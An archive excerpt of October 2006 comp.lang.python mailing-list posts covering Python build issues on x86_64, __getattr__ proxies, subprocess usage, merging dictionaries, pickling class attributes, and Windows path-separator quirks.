> I'm thinking of something similar with D.Conway's "Perl Best Practice".
>  
> -- Edward WIJAYA
> SINGAPORE
> 
> ------------ Institute For Infocomm Research - Disclaimer -------------
> This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
> --------------------------------------------------------

By all means, please start here:

http://www.python.org/doc/essays/styleguide.html

James


From chtaylo3 at gmail.com  Thu Oct 19 10:13:35 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Thu, 19 Oct 2006 10:13:35 -0400
Subject: Install from source on a x86_64 machine
In-Reply-To: <1161266293.603870.102470@i42g2000cwa.googlegroups.com>
References: <mailman.700.1161187902.11739.python-list@python.org>
	<1161252731.452070.308570@h48g2000cwc.googlegroups.com>
	<mailman.749.1161263922.11739.python-list@python.org>
	<1161266293.603870.102470@i42g2000cwa.googlegroups.com>
Message-ID: <2590773a0610190713m1e2337c2la56479de04053b28@mail.gmail.com>

> Generally, the install process should respect the prefix (ie. /usr in
> your case, /usr/local in the default case) and then choose the
> appropriate library directories below that (ie. /usr/lib, /usr/lib64 in
> your case), but I can't find anything obvious in the README about
> specifying architecture-dependent install directories.


Well that's pretty much what's happening ...  either the 64bit libs
aren't being put in /usr/lib64 ... they're all being put in /usr/lib
or they were never compiled up in 64bit mode.  The only think I can
think of is that the configure script doesn't check the mode the OS is
running in and take appropriate steps, ie.e compile the libs in both
32 and 64 bit mode and place them accordingly.

I know this is a problem because when I try and compile up mod_python
it's telling I'm getting the following error when it tries to link
libpython2.4.a :
/usr/bin/ld: /usr/lib/python2.4/config/libpython2.4.a(abstract.o):
relocation R_X86_64_32 against `a local symbol' can not be used when
making a shared object; recompile with -fPIC
/usr/lib/python2.4/config/libpython2.4.a: could not read symbols: Bad value

Which basically means to me that for whatever reason, when python
compiled up, the ./configure script didn't see that the os was running
in 64bit mode and compile the libraries in PIC mode, something I think
that is required for libraries on a 64bit OS.


Respectfully,
Christopher Taylor


From karl at NOSPAMkarlcore.com  Mon Oct 30 09:55:18 2006
From: karl at NOSPAMkarlcore.com (Karl Groves)
Date: Mon, 30 Oct 2006 08:55:18 -0600
Subject: Backup Mailman?
Message-ID: <Xns986C650341A6Bkarlkarlcorecom@216.196.97.136>

Does anyone out there know of a utility that will allow you to backup 
Mailman (including the subscribers and all messages)?

TIA

-- 
Karl Groves
www.karlcore.com


From aurelien.campeas at free.fr  Mon Oct 16 06:28:12 2006
From: aurelien.campeas at free.fr (aurelien.campeas@logilab.fr)
Date: 16 Oct 2006 03:28:12 -0700
Subject: run subprocess in separate window
In-Reply-To: <1160930616.489486.184800@i3g2000cwc.googlegroups.com>
References: <1160930616.489486.184800@i3g2000cwc.googlegroups.com>
Message-ID: <1160994492.172958.235580@i42g2000cwa.googlegroups.com>


Radek a ?crit :

> Hi,
>
> I am trying to create GUI launcher of several applications using Python
> and Tkinter.
>
> Currently when using subprocess.Popen("mycommand") all output goes to
> the stdout of my launcher.
>
> For some command line applications I need to launch them so that their
> output goes into the separate "terminal" window.
>
> How can I make it?
>
> Thanks,
>
> Radek

Hello, have a look at the subprocess module, it might help you get to
what you want.



From gagsl-py at yahoo.com.ar  Mon Oct  9 22:49:50 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 09 Oct 2006 23:49:50 -0300
Subject: doesNotUnderstand?
In-Reply-To: <93fc17a50610091715o1106525dg4709786236cb64fe@mail.gmail.co
 m>
References: <93fc17a50610091715o1106525dg4709786236cb64fe@mail.gmail.com>
Message-ID: <7.0.1.0.0.20061009232717.046e02f0@yahoo.com.ar>

At Monday 9/10/2006 21:15, Liquid Snake wrote:

>Hello :). Some days ago i went to a seminar 
>about Metaprograming and Reflection.
>I was a little famirialized with the subject, 
>and wanted to explore it further.
>The seminar was great, but the point is that 
>every example was programmed in smalltalk.
>I know smalltalk, and never have much use for 
>the doesNotUnderstand method until the guys at 
>the conference open my eyes with some examples.
>Altough i have applied concepts of reflection in 
>python many times, i think i't will be nice to 
>have a magic method that works like doesNotUnderstand for some purposes.
>The reason i'm writing is because i want to know 
>if such method already exists... or maybe... if 
>you think having one it's a good/possible idea.
>
>Right now... im thinkng i really can emulate 
>that behavior using Exceptions..., and i really 
>think that's what SmallTalk kind of do 
>under-the-hood (dont flame me if i'm terribly worng plz).
>But i still want to know if theres a method like 
>__insertMethodNameHere__  that does it for me... 
>or if you think it's a nice thing to have...

I'm not a Smalltalk guru, but I think 
Object>>doesNotUnderstand is called whenever the 
object receives an unknown message.
In Python, you have __getattr__ which is called 
after unsuccessful looking for an attribute in 
the usual places ("attribute" may be a method name too).
A typical example is a proxy: an object which 
forwards method calls to another, "real" one. In 
your seminar I guess they talked about the 
difficulty to do a "generic" proxy using other 
languages like C++ (or even Java). In Python it's easy using __getattr__:

class Proxy:
   def __init__(self, realObject):
     self.__dict__['realObject'] = realObject

   def __getattr__(self, name):
     return getattr(self.realObject, name)

   def __setattr__(self, name, value):
     return setattr(self.realObject, name, value)

o = some_object()
p = Proxy(o)
p.method(1,2,3) finally calls o.method(1,2,3)

p acts like o: it has the same attributes and so. 
Of course __getattr__ may do a lot more: it can 
forward the request using xmlrpc to another 
server, by example, or whatever you want.
If you look at the Python Cookbook surely you?ll find several examples.


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From grante at visi.com  Thu Oct 26 10:19:32 2006
From: grante at visi.com (Grant Edwards)
Date: Thu, 26 Oct 2006 14:19:32 -0000
Subject: doesnt seems to work can any help be provided
References: <1161868888.823864.66700@f16g2000cwb.googlegroups.com>
Message-ID: <12k1gvklgmhi94c@corp.supernews.com>

On 2006-10-26, Arun Nair <nairarunv at gmail.com> wrote:
> import string
>
> class Card:

Could you please keep this homework assignment in a single
thread in order to make it easier to ignore for those of us who
don't want to work on this particular homework problem for you?

If not, then you're likely to get get killfiled by many people
(all your postings will get ignored).

-- 
Grant Edwards                   grante             Yow!  Why is everything
                                  at               made of Lycra Spandex?
                               visi.com            


From roee88 at gmail.com  Thu Oct 12 04:25:31 2006
From: roee88 at gmail.com (roee88 shlomo)
Date: Thu, 12 Oct 2006 10:25:31 +0200
Subject: Dll files and Python2.5
Message-ID: <9963f10e0610120125t790ae74ke88e4319ca7c1888@mail.gmail.com>

Hi,
I would like to know a few things about the dll files usually included in
Python windows applications:

1. in the Pythonwin Home Page (http://www.python.net/crew/skippy/win32/) I
can see that mfc42.dll is required for python2.3 and mfc71.dll is required
for python2.4 .
Is mfc71.dll still required in python2.5 as in 2.4 ?
I'm asking it because I deleted all the mfc71.dll files from my computer and
functions that uses win32com are still working.
Perhaps mfc71 is included in the python25 package?

2. What package requires msvcr71.dll ?

3. What package requires msvcp71.dll ?

Thanks,
Roee.
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From bjobrien62 at gmail.com  Mon Oct  2 21:04:42 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 2 Oct 2006 18:04:42 -0700
Subject: Need help with an array problem.
In-Reply-To: <mailman.1126.1159829356.10491.python-list@python.org>
References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com>
	<1159826923.911685.30120@m73g2000cwd.googlegroups.com>
	<1159828738.510075.153600@i42g2000cwa.googlegroups.com>
	<mailman.1126.1159829356.10491.python-list@python.org>
Message-ID: <1159837482.121713.219710@i3g2000cwc.googlegroups.com>


Robert Kern wrote:
> jakobsg at gmail.com wrote:
> > To your question on casting long to short. This is how:
> > a=1234L     # long
> > b=int(a)       # int (short)
>
> No, a Python int is a C long. A Python long is an arbitrary-precision number and
> does not correspond to any C type.
>
> --

So there is no short(number) casting?


> Robert Kern
>
> "I have come to believe that the whole world is an enigma, a harmless enigma
>   that is made terrible by our own mad attempt to interpret it as though it had
>   an underlying truth."
>    -- Umberto Eco



From jstroud at mbi.ucla.edu  Fri Oct 20 14:01:04 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Fri, 20 Oct 2006 18:01:04 GMT
Subject: help with my first use of a class
In-Reply-To: <mailman.846.1161354249.11739.python-list@python.org>
References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com>	<F5_Zg.18137$6S3.4347@newssvr25.news.prodigy.net>
	<mailman.846.1161354249.11739.python-list@python.org>
Message-ID: <A98_g.21901$7I1.16490@newssvr27.news.prodigy.net>

Fulvio wrote:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
> 
> 
> On Friday 20 October 2006 14:34, James Stroud wrote:
>> You really don't need classes for this
> 
> I'm in that matter too. Doesn't classes make the main program neater?
> Fundamentally OOP is the way to assemble ready objects to get a "thing" 
> working, rather than worry about any single code line.
> Is this a concept of python?

I don't really have formal programming training, but it is increasingly 
becoming my experience that OOP is but one ingredient in a good program. 
It can be left out or it can be mixed with other ingredients for a nice 
effect. Take for example the "file" and "open" built-ins. Calling both 
creates a file object, but the latter, which is the preferred to open a 
file, is actually a function rather than a class. So even the python 
designers did not constrain themselves to any single "style".

I think the trick is to identify when a class would make more sense than 
a collection of subroutines, etc.

James


From steve at REMOVE.THIS.cybersource.com.au  Wed Oct 18 13:00:40 2006
From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano)
Date: Thu, 19 Oct 2006 03:00:40 +1000
Subject: Dictionaries
References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com>
	<pan.2006.10.18.16.07.07.924696@REMOVE.THIS.cybersource.com.au>
	<1161189110.702575.162220@f16g2000cwb.googlegroups.com>
Message-ID: <pan.2006.10.18.17.00.39.601696@REMOVE.THIS.cybersource.com.au>

On Wed, 18 Oct 2006 09:31:50 -0700, Lad wrote:

> 
> Steven,
> Thank you for your reply and question.
> 
>>
>> What should the result be if both dictionaries have the same key?
> The answer: the values should be added together and assigned to the key
> That is
> {'a':1, 'b':5}
> ( from your example below)
> 
> Is there a solution?

Of course there is a solution. You just have to program it.

Look again at my example code before:

def add_dict(A, B):
    """Add dictionaries A and B and return a new dictionary."""
    C = A.copy()  # start with a copy of A
    for key, value in B.items():
        if C.has_key(key):
            raise ValueError("duplicate key '%s' detected!" % key)
        C[key] = value
    return C


Can you see how to modify this function to do what you want?

(Hint: instead of raising a ValueError exception, you want to do something
else.)


-- 
Steven.



From fredrik at pythonware.com  Mon Oct 16 17:31:21 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 16 Oct 2006 23:31:21 +0200
Subject: Output from subprocess.Popen()
In-Reply-To: <1161033460.506489.96820@b28g2000cwb.googlegroups.com>
References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>
	<1161033460.506489.96820@b28g2000cwb.googlegroups.com>
Message-ID: <eh0tn9$n7h$1@sea.gmane.org>

sjdevnull at yahoo.com wrote:

> I can't see any obvious way to ask subprocess to use a shell other than
> the default.

-c ?

 >>> f = Popen(["/bin/bash", "-c", "set|grep IFS"], stdout=PIPE)
 >>> f.stdout.read()
"IFS=$' \\t\\n'\n"
 >>> f = Popen(["/bin/sh", "-c", "set|grep IFS"], stdout=PIPE)
 >>> f.stdout.read()
"IFS=' \t\n"

</F>



From python.list at tim.thechases.com  Thu Oct 26 09:04:45 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 26 Oct 2006 08:04:45 -0500
Subject: The format of filename
In-Reply-To: <l8l0k25bvmcdpm6tmd7rnkodd6i7um9l23@4ax.com>
References: <slrnejs9l1.184.horpner@FIAD06.norwich.edu>	<mailman.1074.1161701843.11739.python-list@python.org>	<slrnejsaoq.1gg.horpner@FIAD06.norwich.edu>	<slrnejsb2q.1pk.horpner@FIAD06.norwich.edu>	<slrnejsc0e.1pk.horpner@FIAD06.norwich.edu>
	<l8l0k25bvmcdpm6tmd7rnkodd6i7um9l23@4ax.com>
Message-ID: <4540B26D.1020609@tim.thechases.com>

>> Some experimentation shows that Python does seem to provide
>> *some* translation. Windows lets me use '/' as a path separator,
>> but not as the name of the root of a partition name. But perhaps
>> this a peculiarity of the commands themselves, and not of Windows
>> path names in particular.
>>
>>  C:\PYTHON24>CD /
>>  The syntax of the command is incorrect.
>>  
>>  C:\PYTHON24>CD \
>>  C:\>EDIT /PYTHON24/README
>>  The syntax of the command is incorrect.
> 
> The Windows APIs all accept either forward slashes or back, and have done
> so clear back to Windows 3.0.  However, the Windows command shells do not.
> That's what you're seeing here.

What one finds is that the command-shell is self-inconsistant:

C:\temp>md foo
C:\temp>md foo\bar
C:\temp>cd foo/bar
C:\temp\foo\bar>cd ..
C:\temp\foo>cd ..
C:\temp>cd /foo/bar
C:\temp\foo\bar>cd \temp
C:\temp>md foo/baz
The syntax of the command is incorrect
C:\temp>echo dir > foo/bar/pip
C:\temp>echo dir > /foo/bar/pip
The system cannot find the path specified.
C:\temp>dir foo/bar
Parameter format not correct - "bar".
C:\temp>dir /b foo\bar
pip
C:\temp>type foo/bar/pip
The syntax of the command is incorrect.
C:\temp>type foo\bar\pip
dir
C:\temp>cmd < foo/bar/pip
[directory listing within a subshell]
C:\temp>cmd < /foo/bar/pip
The system cannot find the path specified.


The CD, MD, TYPE, ECHO and redirection are all shell-builtins, 
yet they seem to be conflictingly quasi-smart about forward slashes.

Sometimes leading slashes matter.  Sometimes they don't. 
Sometimes forward slashes are acceptable.  Sometimes they aren't. 
  All within the shell's built-in mechanisms.  Go figure.

-tkc






From bjobrien62 at gmail.com  Mon Oct 16 15:56:35 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 16 Oct 2006 12:56:35 -0700
Subject: Need a strange sort method...
In-Reply-To: <mailman.587.1161023793.11739.python-list@python.org>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com>
	<mailman.587.1161023793.11739.python-list@python.org>
Message-ID: <1161028595.918128.198190@h48g2000cwc.googlegroups.com>


Simon Brunning wrote:
> On 10/16/06, Simon Brunning <simon at brunningonline.net> wrote:
> > >>> a = [1,2,3,4,5,6,7,8,9,10]
> > >>> a.sort(key=lambda item: (((item-1) %3), item))
> > >>> a
> > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]
>
> Re-reading the OP's post, perhaps sorting isn't what's required:
>
> >>> a[::3] + a[1::3] + a[2::3]
> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]
>
> --
> Cheers,
> Simon B
> simon at brunningonline.net
> http://www.brunningonline.net/simon/blog/

Ok so this is what I got.. but there is an odd side effect:

def reslice(series):
	series.sort()
	i = 1
	newseries = series[::3]
	while(1):
		c = series[i::3]
		if len(c) >= 3:
			newseries = newseries + c
		else:
			break
		i = i + 1
	return newseries

a = [2,1,4,3,6,5,8,7,10,9]
b = reslice(a)
print b
>>> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9, 4, 7, 10]

I have one extra 10 that I shouldn't...



From chtaylo3 at gmail.com  Wed Oct 18 10:21:34 2006
From: chtaylo3 at gmail.com (Christopher Taylor)
Date: Wed, 18 Oct 2006 10:21:34 -0400
Subject: Python RPM package arch compatability
Message-ID: <2590773a0610180721l7fdd7688i5d67b3c16201f44a@mail.gmail.com>

Hello all,

A quick question if I may.  I'm running RHEL 4 on a x86_64 and I'm
curious if any of the packages at
http://www.python.org/download/releases/2.4/rpms/ would suite my
setup.

If they don't can I simply build from source and not overwrite
/usr/bin/Python (for the same reasons as listed at the above mentioned
webpage)?

Respectfully,
Christopher Taylor


From fred at adventistcare.org  Thu Oct  5 12:47:41 2006
From: fred at adventistcare.org (Sells, Fred)
Date: Thu, 5 Oct 2006 12:47:41 -0400 
Subject: CGI Tutorial
Message-ID: <1A4BF05172023E468CB6E867923BC90402B6E2C3@accmail2.sunbelt.org>

content is great, my comments are editorial.

I prefer PDF with bookmarks rather than HTML. 
1. easy to print the whole thing and read offline.
2. easy to find a secion from bookmarks, rather that chasing links
3. easy to save on my local "doc" folder so I can be sure It will always be
there.  (i.e. I don't have to try to find it when you change servers)

Of course that's just my opinion, I could be wrong ;)

If you choose to go the PDF route, I've found OpenOffice 2.0 pretty good at
generating PDF with bookmarks.  Just don't get too complex or OO may hose
you.


From Alec.Edgington at blueyonder.co.uk  Mon Oct  2 14:09:17 2006
From: Alec.Edgington at blueyonder.co.uk (Alec.Edgington at blueyonder.co.uk)
Date: 2 Oct 2006 11:09:17 -0700
Subject: zeta function for complex argument
Message-ID: <1159812557.819161.126440@m7g2000cwm.googlegroups.com>

Hi,

Quick question: I'm wondering if there is, Somewhere Out There, a
Python implementation of the Riemann zeta function for complex
argument...?

Thanks for any help.

A.



From fredrik at pythonware.com  Mon Oct  9 05:16:06 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 9 Oct 2006 11:16:06 +0200
Subject: Memory Management in python 2.5
References: <1160383218.694248.198570@b28g2000cwb.googlegroups.com>
Message-ID: <egd40m$k7l$1@sea.gmane.org>

cesar.ortiz at gmail.com wrote:

> Hi, I am starting to have a look to a python program that does not free
> memory (I am using python 2.4.3). As I have read about a new memory
> management in python 2.5 (http://evanjones.ca/python-memory.html) I
> decided to try the program with the new version.
> With the new version of python the memory consumption is the same. Now
> I am asking myself if  python 2.5 has any improving  in memory
> management or maybe not yet.

the new mechanism only helps if you temporarily create large structures and release
them quickly; it does not help if you're *fragmenting* the memory.  Python requests
memory from the underlying system in blocks (called "arenas"), and it can only re-
turn them if they're entirely empty.

(this is discussed on the page you link to, and the various posts it links to).

</F> 





From ptmcg at austin.rr._bogus_.com  Wed Oct 25 13:40:39 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Wed, 25 Oct 2006 17:40:39 GMT
Subject: Sorting by item_in_another_list
References: <ehk3p8$j3q$1@enyo.uwa.edu.au> <7x1woypbe1.fsf@ruckus.brouhaha.com>
	<IQD%g.15838$Fk1.36230@twister2.libero.it>
	<eho2kq$lqc$1@aioe.server.aioe.org>
Message-ID: <rkN%g.22603$ta3.2702@tornado.texas.rr.com>

"J. Clifford Dyer" <jcd at sdf.lonestar.org> wrote in message 
news:eho2kq$lqc$1 at aioe.server.aioe.org...
> ZeD wrote:
>> Paul Rubin wrote:
>>
>>>> A = [0,1,2,3,4,5,6,7,8,9,10]
>>>> B = [2,3,7,8]
>>>>
>>>> desired_result = [2,3,7,8,0,1,4,5,6,9,10]
>>> How about:
>>>
>>>   desired_result = B + sorted(x for x in A if x not in B)
>>
>> this. is. cool.
>>
>
> Cool, yes, but I'm not entirely sure it does what the OP wanted.  Partly 
> because I'm not entirely sure what the OP wanted.  Counter example:
>
> Given these variables:
>
> A = [0,1,2,3,4,5,6,8,9,10]  # Note 7 is missing
> B = [2,3,7,8]
>
> which of the following should the function yield?
>

>From the original post:

"I have two lists, A and B, such that B is a subset of A."

So this is not a case that needs to be supported.

I envisioned something like the OP had a sequence of items to start with, 
did a random sampling from the list, and wanted to move the sampled items to 
the front of the list.

-- Paul





From sjmachin at lexicon.net  Tue Oct  3 23:09:41 2006
From: sjmachin at lexicon.net (John Machin)
Date: 3 Oct 2006 20:09:41 -0700
Subject: Can't get around "IndexError: list index out of range"
In-Reply-To: <mailman.1217.1159931121.10491.python-list@python.org>
References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com>
	<4522e238$0$25774$4d3efbfe@news.sover.net>
	<mailman.1217.1159931121.10491.python-list@python.org>
Message-ID: <1159931381.153899.128920@e3g2000cwe.googlegroups.com>


Terry Reedy wrote bloated code:

> if sys.argv[1:2] != []:

if sys.argv[1:2]:

:-)



From fuzzyman at gmail.com  Fri Oct 13 20:41:12 2006
From: fuzzyman at gmail.com (Fuzzyman)
Date: 13 Oct 2006 17:41:12 -0700
Subject: SPE for 2.5?
In-Reply-To: <NJQXg.106$1n3.2880@news.tufts.edu>
References: <NJQXg.106$1n3.2880@news.tufts.edu>
Message-ID: <1160786472.050255.306850@e3g2000cwe.googlegroups.com>


John Salerno wrote:
> Does anyone know if SPE is compatible with Python 2.5? I don't see a
> Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version.
>

Certainly worth trying the 2.4 version, but it's true that there hasn't
been an uupdate of SPE for a long time.

Shame as it is a *very* nice IDE, but it had too many quirks (with
little chance of them being fixed it seemed) to use it for commercial
development at Resolver.

Fuzzyman
http://www.voidspace.org.uk

> Thanks.



From johnjsal at NOSPAMgmail.com  Wed Oct  4 13:18:50 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 04 Oct 2006 17:18:50 GMT
Subject: preemptive OOP?
In-Reply-To: <PQRUg.4196$5i7.497@newsreading01.news.tds.net>
References: <e9USg.47$1n3.432@news.tufts.edu>
	<JZATg.3537$5i7.15@newsreading01.news.tds.net>
	<12i0iut89mqepcd@corp.supernews.com>
	<PQRUg.4196$5i7.497@newsreading01.news.tds.net>
Message-ID: <_1SUg.65$1n3.917@news.tufts.edu>

Kent Johnson wrote:

>> There is certainly a *lot* of 'Gratuitous OOP' (GOOP?) out there. 
> 
> In my experience a lot of GOOP results

LOL. Good thing we didn't go with the acronym from my phrase "preemptive 
OOP"  ;)


From ptmcg at austin.rr._bogus_.com  Thu Oct 12 10:15:48 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Thu, 12 Oct 2006 14:15:48 GMT
Subject: Pickling an instance of a class containing a dict doesn't work
References: <4p6vk6Fh2jevU1@news.dfncis.de>
Message-ID: <o6sXg.46564$DU3.1906@tornado.texas.rr.com>

"Marco Lierfeld" <marco.lierfeld at rwth-aachen.de> wrote in message 
news:4p6vk6Fh2jevU1 at news.dfncis.de...
> Hello there,
>
> I want to save an instance of a class containing a dictionary with the
> pickle-module.
>
> The class looks like this:
>        class subproject:
>                configuration   = {}
>                build_steps     = []
>                # some functions
>                # ...
>
> Now I create an instance of this class, e.g.
>        test = subproject()
> and try to save it with pickle.dump(test, file('test.pickle','wb')) or 
> with
> pickle.Pickler(file('test.pickle','wb')).save(test)

I'm guessing that configuration and build_steps are supposed to be instance 
variables, not class-level variables.  It would be interesting to see what 
your __init__ method looks like.  I'm guessing you assign something the 
self.build_steps in __init__, but self.configuration is omitted.

Try moving these initializers into the __init__ method, as:
        class subproject:
                def __init__(self):
                        self.configuration   = {}
                        self.build_steps     = []

and see if pickle starts behaving better.

-- Paul





From python.list at tim.thechases.com  Thu Oct 19 14:13:21 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 19 Oct 2006 13:13:21 -0500
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <136ED738BD4F1545B97E4AC06FF6370734BEEE@DMSP-MSG-EVS01.mail.pvt>
References: <136ED738BD4F1545B97E4AC06FF6370734BEEE@DMSP-MSG-EVS01.mail.pvt>
Message-ID: <4537C041.6060500@tim.thechases.com>

> Is this why the applicants I see that are fresh out of college
> with their shiny new computer science degrees can't seem to
> code their way out of a wet paper bag?

Well, there you go!  Apparently, your wet paper bag has no 
"detect a palendrome" exit.  While you're installing such an 
egress to your soggy dead-tree satchel, you could also provide 
similar "write a binary search" or "write your own linked-list 
implementation" escape hatches... :)

-tkc





From bignose+hates-spam at benfinney.id.au  Wed Oct  4 19:02:56 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Thu, 05 Oct 2006 09:02:56 +1000
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<45240E19.3040000@v.loewis.de>
Message-ID: <87lknvelb3.fsf@benfinney.id.au>

"Martin v. L?wis" <martin at v.loewis.de> writes:

> Giovanni Bajo schrieb:
> > It is an extremely bad picture for an open source flag like Python
> > to go to a vendor for such an easy requirement as a bug database.
>
> You fail to recognize that Python is *already* using a non-free software
> for bug tracking, as do thousands of other projects. So from that point
> of view, the status wouldn't change.

The whole point of moving *from* SF *to* another bug tracker is to
improve the situation, surely.

You already seem to acknowledge that using free-software tools to
develop Python is desirable. I don't see why you're being so obtuse in
this sub-thread on *why* it's desirable.

-- 
 \       "The Stones, I love the Stones; I can't believe they're still |
  `\      doing it after all these years. I watch them whenever I can: |
_o__)                             Fred, Barney, ..."  -- Steven Wright |
Ben Finney



From Luwian at gmail.com  Sun Oct 22 08:16:25 2006
From: Luwian at gmail.com (Lucas)
Date: 22 Oct 2006 05:16:25 -0700
Subject: How to print a file in binary mode
Message-ID: <1161519385.614985.311240@m73g2000cwd.googlegroups.com>

I need print a file in binary mode .

f = f.open('python.jpg','rb')
bytes = f.read()
f.close()

print(bytes)

I can't get any binary code.

how to do it?

Thank you very much!



From onurb at xiludom.gro  Tue Oct 10 12:01:32 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Tue, 10 Oct 2006 18:01:32 +0200
Subject: can regular ol' python do a php include?
In-Reply-To: <IiPWg.94$1n3.2328@news.tufts.edu>
References: <mailman.221.1160494018.11739.python-list@python.org>
	<IiPWg.94$1n3.2328@news.tufts.edu>
Message-ID: <452bc3dd$0$29360$426a34cc@news.free.fr>

John Salerno wrote:
> Jean-Paul Calderone wrote:
> 
>> def include(filename):
>>    print open(filename).read()
>>
>> include('header.html')
>>
>> Behold, the power of a general purpose programming language.
>>
>> Jean-Paul
> 
> Thanks, pretty good idea! But my guess is that I can't just use it this
> way within an HTML file.

As the effbeot kindly mentionned, you cannot do any include in a HTML
file - the HTML spec doesn't mention such a beast.

-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From davidworley at gmail.com  Tue Oct 17 15:25:49 2006
From: davidworley at gmail.com (Dave)
Date: 17 Oct 2006 12:25:49 -0700
Subject: HTML Encoded Translation
In-Reply-To: <mailman.653.1161109610.11739.python-list@python.org>
References: <1161108640.669383.178470@h48g2000cwc.googlegroups.com>
	<mailman.653.1161109610.11739.python-list@python.org>
Message-ID: <1161113149.326350.134330@b28g2000cwb.googlegroups.com>

Got it, great. This worked like a charm. I knew I was barking up the
wrong tree with urllib, but I didn't know which tree to bark up...

Thanks!

Fredrik Lundh wrote:
> Dave wrote:
>
> > How can I translate this:
> >
> > &#103;&#105;
> >
> > to this:
> >
> > "gi"
>
> the easiest way is to run it through an HTML or XML parser (depending on
> what the source is).  or you could use something like this:
>
>      import re
>
>      def fix_charrefs(text):
>          def fixup(m):
>              text = m.group(0)
>              try:
>                  if text[:3] == "&#x":
>                      return unichr(int(text[3:-1], 16))
>                  else:
>                      return unichr(int(text[2:-1]))
>              except ValueError:
>                  pass
>              return text # leave as is
>          return re.sub("&#?\w+;", fixup, text)
>
>      >>> fix_charrefs("&#103;&#105;")
>      'gi'
>
> also see:
>
>      http://effbot.org/zone/re-sub.htm#strip-html
>
> > I've tried urllib.unencode and it doesn't work.
>
> those are HTML/XML character references, not encoded URL characters.
> 
> </F>



From fulvio at tm.net.my  Sun Oct 22 10:42:10 2006
From: fulvio at tm.net.my (Fulvio)
Date: Sun, 22 Oct 2006 22:42:10 +0800
Subject: Debugging
In-Reply-To: <wihmz7psmhs.fsf@panix3.panix.com>
References: <mailman.894.1161423816.11739.python-list@python.org>
	<wihmz7psmhs.fsf@panix3.panix.com>
Message-ID: <200610222242.11067.fulvio@tm.net.my>

***********************
Your mail has been scanned by InterScan MSS.
***********************


On Saturday 21 October 2006 23:43, R. Bernstein wrote:
> (I think all of this is the case also with pdb, but someone might
> check on this; it's possible breakpoints in pdb start from 0 instead
> of 1 as is the ?case in gdb/pydb.)

Thank you for your details. The pdb that I'm talking about, can be found 
in /usr/lib/python2.4/pdb.py (an C:\python2.4\lib\pdb.py for the win32 
version).
I'll give a look to pydb site...

The previous post I might have missed some explaination on my proceeding. I'd 
say that I'm testing a small program under pdb control 
(python /usr/lib/python2.4/pdb.py ./myprog.py). So pdb will load myprog and 
stop the first line code.
Once I'm at the pdb command line I can issue the commands available inside the 
pdb itself. Concerning the mentioned BP function I meant to set a 
counter/function which let the BP run until reach the true condition. 
Then "condition" is one of the pdb commands which let add a conditon to a BP.
The reference Manual gives information for all the pdb functions, but aren't 
detailed, specially on how to set up BP conditions, like countdown, timed and 
camparison conditions.

Hope I've been clear this time :-)

F




From no-spam at no-spam-no-spam.com  Fri Oct 13 18:22:33 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Sat, 14 Oct 2006 00:22:33 +0200
Subject: wxPython installation interferes with win32ui/win32gui
Message-ID: <egp3j9$jec$1@ulysses.news.tiscali.de>

As soon as I install wxPython on a Py2.3.5, my win32ui / win32gui apps 
freak out. buttons in dialogs are magically pressed. backgrounds of 
dialogs are colored wrong...

this is with current wxPython (it was the same situation with a wx 
version some months back)

When I uninstall wxPython the other win32ui/win32gui apps work again.
What could be the reason?

I made a full file comparison in the c:\Python23 tree: wx installed vs. 
wx uninstalled. Besides the wx things in site-packages only ..

c:\Python23\pythonw.exe.manifest
c:\Python23python.exe.manifest

.. and things in "c:\Python23\Scripts" are written/changed. nothing in 
site-packages/pythonwin and site-packages/win32*  is changed by the wx 
installer. Or does the wx installer change something in the DLL's in 
\windows  or worse...?

-robert


From fredrik at pythonware.com  Sun Oct 15 11:04:23 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 15 Oct 2006 17:04:23 +0200
Subject: Output from subprocess.Popen()
In-Reply-To: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>
References: <1160923622.901247.310170@b28g2000cwb.googlegroups.com>
Message-ID: <egtiln$6bv$1@sea.gmane.org>

Clodoaldo Pinto Neto wrote:

> Output from the shell:
